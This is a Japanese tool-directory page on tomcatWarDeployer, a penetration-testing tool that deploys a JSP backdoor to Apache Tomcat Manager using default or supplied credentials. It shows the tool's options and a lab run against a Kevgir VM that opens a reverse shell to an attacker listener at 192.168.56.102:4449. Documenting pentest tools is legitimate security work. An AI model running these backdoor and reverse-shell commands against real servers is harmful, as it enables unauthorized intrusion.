Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tomcatWarDeployer — Apache Tomcat 自動WARデプロイ&攻略ペネトレーションテストツール。 | Kitploit
ツール/GitHubGitHub/mgeeky/tomcatwardeployer
ペイロード生成エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubmgeeky/tomcatwardeployer

tomcatWarDeployer

Apache Tomcat 自動WARデプロイ&攻略ペネトレーションテストツール。

リポジトリを見る
44613333年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

tomcatWarDeployer

Apache Tomcat 自動 WAR デプロイ & 悪用 侵入テストツール。

これは何?

これは、Apache Tomcat の認証情報を利用して、JSP バックドアを自動生成・デプロイし、その後それを呼び出して便利なシェル(Web GUI、リモートマシンへのバインドリスニングポート、または攻撃者に接続するリバース TCP ペイロードのいずれか)を提供することを目的とした侵入テストツールです。

実際には、ペンテスターが提供した有効な HTTP 認証情報(またはカスタムのもの。結局、私たちはみんな tomcat:tomcat が大好きです)を使用して、JSP バックドア WAR パッケージをその場で生成し、Apache Tomcat Manager アプリケーションにデプロイします。

このツールは、マネージャパネルの検索ロジック、CVE-2007-1860 の二重エンコーディング問題のサポート、新しい Tomcat での CSRF 処理など、いくつかの便利な機能を提供します。

使用方法

サーバのアドレスとポートを IP:PORT のペアとして指定するだけです。 ヘルプは以下の通りです:

root@kitploit:~
user$ python tomcatWarDeployer.py --help

    tomcatWarDeployer (v. 0.5)
    Apache Tomcat auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
Usage: tomcatWarDeployer.py [options] server

  server    Specifies server address. Please also include port after colon.

Options:
  -h, --help            show this help message and exit

  General options:
    -v, --verbose       Verbose mode.
    -s, --simulate      Simulate breach only, do not perform any offensive
                        actions.
    -G OUTFILE, --generate=OUTFILE
                        Generate JSP backdoor only and put it into specified
                        outfile path then exit. Do not perform any
                        connections, scannings, deployment and so on.
    -U USER, --user=USER
                        Tomcat Manager Web Application HTTP Auth username.
                        Default="tomcat"
    -P PASS, --pass=PASS
                        Tomcat Manager Web Application HTTP Auth password.
                        Default="tomcat"

  Connection options:
    -H RHOST, --host=RHOST
                        Remote host for reverse tcp payload connection. When
                        specified, RPORT must be specified too. Otherwise,
                        bind tcp payload will be deployed listening on 0.0.0.0
    -p PORT, --port=PORT
                        Remote port for the reverse tcp payload when used with
                        RHOST or Local port if no RHOST specified thus acting
                        as a Bind shell endpoint.
    -u URL, --url=URL   Apache Tomcat management console URL. Default:
                        /manager/
    -t TIMEOUT, --timeout=TIMEOUT
                        Speciifed timeout parameter for socket object and
                        other timing holdups. Default: 10

  Payload options:
    -R APPNAME, --remove=APPNAME
                        Remove deployed app with specified name. Can be used
                        for post-assessment cleaning
    -X PASSWORD, --shellpass=PASSWORD
                        Specifies authentication password for uploaded shell,
                        to prevent unauthenticated usage. Default: randomly
                        generated. Specify "None" to leave the shell
                        unauthenticated.
    -T TITLE, --title=TITLE
                        Specifies head>title for uploaded JSP WAR payload.
                        Default: "JSP Application"
    -n APPNAME, --name=APPNAME
                        Specifies JSP application name. Default: "jsp_app"
    -x, --unload        Unload existing JSP Application with the same name.
                        Default: no.
    -C, --noconnect     Do not connect to the spawned shell immediately. By
                        default this program will connect to the spawned
                        shell, specifying this option let's you use other
                        handlers like Metasploit, NetCat and so on.
    -f WARFILE, --file=WARFILE
                        Custom WAR file to deploy. By default the script will
                        generate own WAR file on-the-fly.

192.168.56.100:8080 で動作している Kevgir 1 VM by canyoupwn.me を使用したサンプル:

root@kitploit:~
user$ python tomcatWarDeployer.py -v -x -p 4449 -H 192.168.56.102 192.168.56.100:8080

    tomcatWarDeployer (v. 0.3)
    Apache Tomcat 6/7 auto WAR deployment & launching tool
    Mariusz Banach / MGeeky '16

Penetration Testing utility aiming at presenting danger of leaving Tomcat misconfigured.
    
INFO: Reverse shell will connect to: 192.168.56.102:4449.
DEBUG: Browsing to "http://192.168.56.100:8080/manager/"... Creds: tomcat:tomcat
DEBUG: Apache Tomcat Manager Application reached & validated.
DEBUG: Generating JSP WAR backdoor code...
DEBUG: Preparing additional code for Reverse TCP shell
DEBUG: Generating temporary structure for jsp_app WAR at: "/tmp/tmpDhzo9I"
DEBUG: Working with Java at version: 1.8.0_60
DEBUG: Generating web.xml with servlet-name: "JSP Application"
DEBUG: Generating WAR file at: "/tmp/jsp_app.war"
DEBUG: added manifest
adding: files/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: files/WEB-INF/web.xml(in = 547) (out= 253)(deflated 53%)
adding: files/META-INF/(in = 0) (out= 0)(stored 0%)
adding: files/META-INF/MANIFEST.MF(in = 68) (out= 67)(deflated 1%)
adding: index.jsp(in = 4684) (out= 1595)(deflated 65%)
DEBUG: WAR file structure:
DEBUG: /tmp/tmpDhzo9I
├── files
│   ├── META-INF
│   │   └── MANIFEST.MF
│   └── WEB-INF
│       └── web.xml
└── index.jsp

3 directories, 3 files
WARNING: Application with name: "jsp_app" is already deployed.
DEBUG: Unloading existing one...
DEBUG: Unloading application: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Succeeded.
DEBUG: Deploying application: jsp_app from file: "/tmp/jsp_app.war"
DEBUG: Removing temporary WAR directory: "/tmp/tmpDhzo9I"
DEBUG: Succeeded, invoking it...
DEBUG: Spawned shell handling thread. Awaiting for the event...
DEBUG: Awaiting for reverse-shell handler to set-up
DEBUG: Establishing listener for incoming reverse TCP shell at 192.168.56.102:4449
DEBUG: Socket is binded to local port now, awaiting for clients...
DEBUG: Invoking application at url: "http://192.168.56.100:8080/jsp_app/"
DEBUG: Adding 'X-Pass: oHI9mPB0mOnZ' header for shell functionality authentication.
DEBUG: Incoming client: 192.168.56.100:54251
INFO: JSP Backdoor up & running on http://192.168.56.100:8080/jsp_app/
INFO: Happy pwning. Here take that password for web shell: 'oHI9mPB0mOnZ'
DEBUG: Connected with the shell: tomcat7@canyoupwnme
jh
tomcat7@canyoupwnme $ id
uid=106(tomcat7) gid=114(tomcat7) groups=114(tomcat7)

tomcat7@canyoupwnme $ exit

プログラムは、上記の例のように、リバースシェル接続用のローカルリスナーを 192.168.56.102:4449 ホスト(ローカルホスト)にセットアップします。その後、JSP バックドアを呼び出すと、自動的にローカルリスナーに接続し、シェルがポップアップします。-H パラメータを省略すると バインドシェル 機能が使用され、ローカルリスナーを設定する代わりに、リモートでリッスンしているバインドシェルにプログラムが接続します。

最後に、上記の呼び出しにより、以下の JSP アプリケーションが WEB 経由でリモートアクセス可能になります:

JSP backdoor gui

ご覧のとおり、デプロイされたバックドアを利用するにはパスワードが必要であり、これにより実施中の評価において不正アクセスを防止します。

まとめると、ユーザーは WEB バックドアを提供する WEB アプリケーションを生成し、ユーザー指定またはプログラムによってランダム生成された POST 'password' パラメータを介して認証を行います。その後、呼び出しフェーズで X-Pass ヘッダを受け取ったアプリケーションは、netcat ハンドラーへのリバース接続を生成します。この HTTP ヘッダーは、ユーザーが WEB GUI をリフレッシュしてバインドまたはリバース接続を試み続けるのを防ぐために要求されます。また、そのコードに到達するための認証としても機能します。

以上が全てだと思います。

テスト済み

  • Apache Tomcat/5.5.35
  • Apache Tomcat/6.?
  • Apache Tomcat/7.0.52
  • Apache Tomcat/7.0.56
  • Apache Tomcat/8.0.33

変更履歴

  • 19.07.16: バージョン 0.3: ユーザーにシェルへの直接アクセスを提供するバインドシェル & リバースシェル機能を追加
  • 12.09.16: バージョン 0.3.3: Tomcat 5 インターフェースのサポートを追加
  • 21.12.17: http/https の問題と SSL 証明書検証回避のためのクイックフィックス
  • 04.05.18: Web インターフェースを少し強化、シェルプロンプトに色を追加、Windows シェルループのサポートを改善
  • 31.08.18: Tomcat 7+ バージョンでの CSRF および JSESSIONID 処理のサポート、および CVE-2007-1860 のサポートを追加 - PentesterLab で自動的に動作する様子を確認できます。

TODO

  • バインド&リバース TCP ペイロード機能と、それと対話するための pty を実装
  • noconnect および connect 機能の実装を完了
  • 通信認証と暗号化/エンコーディングを実装し、ワイヤー/イーサネット上での平文データの流れを防止
  • tomcat5、tomcat8 でテスト

☕ サポートをお願いします ☕

このプロジェクトやその他のプロジェクトは、眠れぬ夜と 多大な努力 の成果です。私の活動を気に入っていただき、常にコミュニティに還元していることに感謝していただけるなら、 コーヒーを一杯ごちそうしてください (あるいはビールの方が良いかも) と言ってください! 💪


著者

root@kitploit:~
   Mariusz Banach / mgeeky, 21
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)
ツールをダウンロード